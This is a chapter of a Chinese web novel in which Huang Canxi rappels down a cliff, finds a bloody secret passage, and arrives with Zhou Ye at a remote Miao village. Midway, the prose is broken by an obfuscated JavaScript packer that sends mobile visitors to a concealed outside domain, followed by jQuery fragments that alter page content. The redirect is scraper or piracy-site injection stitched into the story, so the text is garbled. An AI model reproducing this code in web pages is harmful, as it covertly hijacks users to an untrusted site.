她仍琢磨着方才的声音,周野冷不丁开了口,将她的思绪拽了回来。
“你冷不冷?”
“什么冷不冷。”黄灿喜一抬头,就见周野不知从哪变出一个纸袋。
她狐疑地盯着他,伸手一抽,竟抽出一件冲锋衣。黑白相间,企鹅配色,吊牌还挂着。昨晚不见人影,原来是去买衣服去了。
“给你的。山里夜里冷,可能要在外头过夜,人会冻死。”语气依旧不冷不热,却难得有人味。
“真亏你有这个常识。”黄灿喜心里忽地亮堂,像雪地里闪出的微光。她叹口气,手指摩挲着衣料,没推辞,顺手撕了吊牌,直接在他面前穿上。衣服大小正好,正如她初到ECS时,那双正好的鞋子。
她低着眼皮,无意间扫过脚后的雪地,那里空无一物。
轻点两下脚,把鞋底的碎雪抖落,又悄声收回视线,转向周野。
她像只扑腾的蝴蝶,在他身边转来转去,举起双手,“哇啊,正好合身。”她笑眯眯的,“真暖和,老板,你怎么眼光这么好?”
周野却有些局促,“你心情好点了?”
“特别好。”
周野的目光抓着她的身影,像是有什么话要说,却终究没开口。
雪地寂寥,他只默默带着她往前走。十分钟后,脚步停在一个坡下。
黄灿喜眯眼打量四周,很快就明白周野为何在这下车。
他说的“有事”,竟是带她来命案现场。
围栏低得胆颤,只到大腿的位置,几株七扭八歪的老树横在一旁,枝桠在风里抖得让人眼花。
风自脚下的深渊呼啸而上,裹着雪雾和冷意,直扑在脸上。白与灰交织,雾气与雪色搅成一体,眼睛根本无法判断下方有多深。
她弯腰拾起一块石头,顺势丢下去,久久没有回声。
听便衣的描述,她还觉得残忍。如今身临其境,才知道他们如此快下定论的依据——这地方确实神仙都难活。
她不过俯身前探了一寸,手心就冒汗。风稍大一些,她甚至担心自己会不会就这样被卷下去,尸骨无存。
耳边“窸窸窣窣”的声响,她猛地回头,见周野正从背包里抽出攀岩绳。
他动作平静,打算下去一样。
黄灿喜心口一滞。
她知道这行当危险,可没想到周野疯到这个地步,怕不是想亲自去捞尸。
心里叹气,伸手向周野讨要,“你给我,我下去。这地方不知道有没有野兽毒蛇,必须得有一个人在上面看着绳子。”
周野在米北庄村的表现不尽人意,她担心这人又偷偷藏东西。
米北庄村的那一刀实在过于震撼,她现在心口都在发凉。
“那你小心落脚。”周野一如既往答应得爽快,惹得黄灿喜忍不住猜忌,这人是不是又想坑她。
黄灿喜低头检查绳索,好东西,比自己随身带的结实许多。她咬了咬牙,嘴里忍不住嘀咕:
“老板,你可别突然坑我,我可是设置了十封定时邮件——”
“快下去。”周野握着绳索,两只眼都在催她。
黄灿喜调好对讲机,手心紧攥绳索,脚一点点踩着湿滑的石壁往下。神经绷得死紧,不敢松一口气,心跳被她硬生生按住,只敢把注意力分散到四周。
岩壁密布藤蔓,树根裸露,像从山体里硬生生伸出的筋脉。
或许是冬天的缘故,虫鸟都销声匿迹,一切寻常,寻常得过了头,没有尸体,没有异常。
风掠过她额头,将冷汗衬得更凉。忽然,脚下触到实地。
她愣了下,竟是一个能容七八人站立的平台。
她按下对讲机,声音颤抖,“我直线下降大概三十米,踩到一块平台,上面有些黑色污渍……没见到杨米米和刘米。要不要再下去?”
话刚落,余光里却闪过一抹红。
那布条就像从岩缝里长出来似的,鲜红欲滴,像是山的血管。
对讲机里周野的声音透着电流噪音,“找找出口。”
遥远又模糊,她根本无心听进去。
她的眼神牢牢粘在那红布上。
那上面的纹路,竟和刘米、杨米米魂魄上的刺青相似!
心口“砰”地重重一跳。
她伸手去扯,布条纹丝不动。再咬牙用力,碎石簌簌而落,风声骤然尖利。
她索性松开绳索,双手死死攥着,猛地一拽,红布终于被扯动!
山发出隐约的闷响,碎石雨点般砸在她的肩背,又滚落进深渊。
她手指扒开剩下的石头堆,呼吸骤紧,惊呼出口:
“有个密道!”
浓烈的血腥味扑面而来,重得像灌进喉咙。
而血腥之外,又裹着草药与香灰的气息,熏得她眼睛发酸。
外面那摊血迹,不过是表皮,这里的血,正沿着密道,绵延进更深的山腹。
她心里震撼,难以用言语去形容。
这洞俨然不是人工雕琢,张家界地质以石英砂岩为主,亿万年的风化、流水切割,才塑成今日这般奇观。石灰岩区又遍布溶洞,幽深难测。但这洞口又是如何形成?又通向哪里?
听说这附近的山民崇尚自然,将先人葬于山腹绝壁之中,称为“悬棺葬”。
或许她找不到刘米、杨米米,反倒打扰到十几具早已风化的白骨老前辈在这歇息。
对讲机“滋啦”一声,周野的声音带着金属回音,听起来却格外无力:
“上来吧。洞口弄开就行,别落东西。”
“但是……”
“上来。现在不是时候。”
他说得笃定,仿佛一切都在他的掌控之中。
黄灿喜心里骂了一句,周野比张家界还神秘。
她犹豫了几下,还是听从了。
离开前,她将那条红布塞进了口袋,攀着绳索艰难往上。
破天荒,她眼前伸来一只手。她撇了撇嘴角,却还是一把抓住:
“下面有密道,你一早就知道的?”
“刚才才知道。”周野的声音比平时还要少。
黄灿喜挑眉,盯着他脸色发白,不由关心道:“你没事吧?是高反?还是贫血?”
她在哀牢山也见过同样的脸色,此刻心口不免发凉。
周野只是摇了摇头。
二十分钟的车程,硬是走了一个多小时。脚下雪声簌簌,乡道越走越窄,左手是山,右手是云。如此险峻之地,竟然还修出了一条水泥路,像是山体的生长纹。
这地方这么难走,若不是心怀目的,谁会来?
她一边抱怨,一边被山风刮醒,猛然脱口:“刘米……不会是这附近寨子的人吧?”
周野淡淡点头,脸色薄得像纸。
他们今天的目的地,是八大公山上的苗寨——帕家村。
帕家村在深山之中,无信号,无电,与外界的联系只有一座公用电话。若不是几年前有个爬山博主误入发了帖子,也不会有人知道这的存在,更不会有人夏天来避暑探秘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236680|181658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冬天来,他们三实属奇葩。
水泥路早已不见,只剩积雪覆盖的山道。穿过林木深处,雾气缠绕间,终于见到人烟。
寨子依山而建,溪水环抱半圈。杉木枝间若隐若现的吊脚楼,灰白寻常,像是天地间顺势生出的骨节。
村口立着一块斑驳木牌,刻着“帕家村”,苔藓攀附;几盏煤油灯吊在旁边,油火跳动,空气中混杂着煤油味与潮湿的木气。
好普通的一个村,好普通的一个旅游村。
黄灿喜眨眨眼,不知是不是期待太高,心底竟生出几分失落。
刘米拼命回来的地方,就是这里?
村民们见着外人,热情招呼。两人跟着村民进去,不多时便抵达安置的住处。
黄灿喜推开门,八平米的屋子里,白天也弥漫着一层湿雾。屋梁上悬着一盏煤油灯,火芯暗暗跳动。
灯下围着火塘,灰白的石块上积着老旧的煤痕。接待的村民不知从哪搬来一只铁火炉,笑着叮嘱她晚上冷了点燃取暖。
放好行李再出来时,正遇上周野。她立刻屁颠跟上去,低声抱怨:“真的没有信号,也没电。我还以为只是说说。你住得惯吗?”
“为什么住不惯?”周野说得自然,招了黄灿喜两个白眼。
招待厅里,火塘正燃,柴火噼啪。
沈河坐在火光边,手里捧着碗米酒,笑意融融,像早已在此等候。
见到沈河,黄灿喜心里顿时松了一口气,越过周野,径直在沈河身旁坐下,“冷死我了,这地方偏得很,沈医生你一个人怎么上来的?”
柴火正旺,火光烘得她骨头都酥了,心绪也跟着松懈。可才刚暖透,周野又带着一身寒气坐到她旁边。
没多久,热乎乎的米酒被端上桌。
他们的向导李仁达,二十出头,眼睛笑眯眯的,笑容淳朴,嘴角横着一道浅浅的刀疤。疤痕随着笑容牵动,既带着几分草莽的野气,又不失少年人的爽利。
他穿着粗布外套,却在袖口和领口绣着几道彩线,绯红、靛蓝交织,是典型的苗家图案。
他是村里少数会讲普通话的人,大多数村民还是习惯用苗语交流。
他热情地主动搭话,普通话虽有些磕绊,却不妨碍意思。
黄灿喜喝着酒,目光不住扫过这寻常得不能再寻常的屋子。怎么都没法把这地方和刘米的“坠崖”联系起来。
疑问压在喉咙里半天,终于寻了个空档开口:
“李向导,你认识刘米吗?”
话音一落,气氛猛地被拽住。
屋里的人都愣了下。
李仁达眨了眨眼,反应很快,干笑一声:“谁?刘米是谁?”
这下轮到黄灿喜愣住。她下意识望向周野,只见那人神色如常,低头慢悠悠地抿着米酒。
话题像石子落进深潭,没泛起半点涟漪,很快被带过。
聊得久了,客套也少了。李仁达笑眯眯地问他们:“怎么年底来山里?”
沈河接得自然,连眼皮都没抬一下:“拍点武陵山脉的雪山和雾凇,当春晚的短片。”
黄灿喜捏着米酒的手一颤,差点把碗扣了。
沈河比东东还能胡说八道。
可村民们淳朴,竟没怀疑,反倒热情给沈河介绍了几个地方。说着,又笑着转头招呼另一桌:“吴大哥,你不是也要拍视频吗?正好和他们一起。”
黄灿喜顺着看过去。
果然,她一进门就注意到,冬天进山的奇葩,还不止他们三。